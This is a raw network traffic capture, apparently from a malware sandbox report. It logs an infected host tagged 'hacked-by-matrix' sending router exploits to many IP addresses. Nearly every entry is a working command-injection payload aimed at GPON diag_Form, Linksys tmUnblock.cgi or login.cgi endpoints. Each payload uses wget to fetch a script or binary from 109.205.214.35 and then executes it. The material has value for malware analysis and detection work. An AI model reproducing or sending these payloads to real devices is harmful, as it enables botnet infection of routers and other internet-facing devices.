Mar 21, 2024 05:21:34.005629063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	56080	94.114.90.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005662918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	39018	37.161.232.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005686045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	54508	42.177.45.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005722046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	44984	212.187.102.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005757093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	39756	79.239.197.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005820036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	34496	109.13.189.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005820036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	49106	212.13.80.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005860090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	57900	184.188.75.93	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:35.418117046 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	48860	146.148.222.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:36.047662020 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:36.895778894 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:37.889043093 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:39.839570999 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:43.748295069 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:51.683238983 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:07.294482946 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:40.061166048 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	59062	34.149.152.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:36.989594936 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	42258	109.113.206.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.013705969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	45446	2.0.236.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.013731956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	45316	2.3.192.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.013784885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	34492	2.108.96.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.013823986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	44398	79.8.255.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.013880968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	60308	198.41.198.84	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.149354935 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	50954	212.1.208.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.168104887 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:37.763623953 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:37.873341084 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:21:37 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	59416	172.67.23.90	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.463697910 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	52670	172.65.8.225	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.463762999 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	54260	212.247.44.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:37.470772028 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:37.658884048 CET	376	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:21:36 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	52966	196.10.52.68	80

